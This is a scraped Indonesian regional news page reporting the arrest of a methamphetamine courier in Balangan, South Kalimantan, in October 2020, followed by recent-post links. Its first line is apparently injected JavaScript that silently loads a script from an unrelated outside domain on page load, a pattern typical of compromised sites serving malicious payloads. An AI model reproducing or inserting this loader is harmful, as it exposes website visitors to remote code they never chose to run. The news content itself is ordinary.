(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BALANGAN

Melintas di Jalan Desa Lamida Bawah, Kurir Sabu Ditangkap Resnarkoba Polres Balangan


KANALKALIMANTAN.COM, PARINGIN – Seorang kurir sabu berinisial YFP (35), warga Desa Bata RT 002 Kecamatan Juai, Kabupaten Balangan, diamankan jajaran Satres Narkoba Polres Balangan.

Penangkapan dilakukan di jalan Desa Lamida Bawah, Kecamatan Paringin, Kabupaten Balangan, Minggu, (25/10/2020) lalu.

Kapolres Balangan AKBP Nur Khamid melalui Kasat Reserse Narkoba Polres Balangan AKP Manaris Hutapea menerangkan, penangkapan terduga pelaku kurir sabu itu informasinya dari masyarakat bahwa ada seseorang yang membawa narkotika jenis sabu dari Kabupaten Hulu Sungai Utara (HSU) menuju Kabupaten Balangan.

“Berdasarkan informasi itulah kami melakukan penyelidikan. Dari informasi itu juga, pihaknya mendapatkan beberapa data tentang pelaku. Di antaranya perihal kendaraan roda dua yang digunakan pelaku,” ujar AKP Manaris Hutapea, Selasa (27/10/2020).

Tak berselang beberapa hari kemudian, terang Manaris, pelaku melintas di jalan Desa Lamida Bawah. Karena pelaku dianggap sesuai dengan ciri-ciri yang dilaporkan, YFP diberhentikan oleh pihak kepolisian. Setelah diberhentikan, dilakukan upaya penggeledahan badan terhadap pelaku.

Tatkala digeledah ditemukan lima paket serbuk kristal dibungkus dengan plastik klip warna bening yang diduga narkotika jenis sabu, sehingga YFP pun ditangkap.

Benda yang terbungkus plastik warna bening berada di saku celana kanan YFP. Ketika ditanya polisi, YFP mengatakan narkotika jenis sabu itu adalah miliknya. Atas tindakan itu, dia dan barang bukti dibawa ke Mapolres Balangan untuk proses lebih lanjut.

Ditegaskan Manaris, YFP telah dianggap melakukan kasus tindak pidana peredaran gelap narkotika jenis sabu, sebagaimana dimaksud dalam pasal 114 ayat (1) sub pasal 112 Ayat (1) Undang-Undang RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/pr)

 

Editor : Bie


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

4 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

5 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

5 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

6 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

6 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

8 jam ago

This website uses cookies.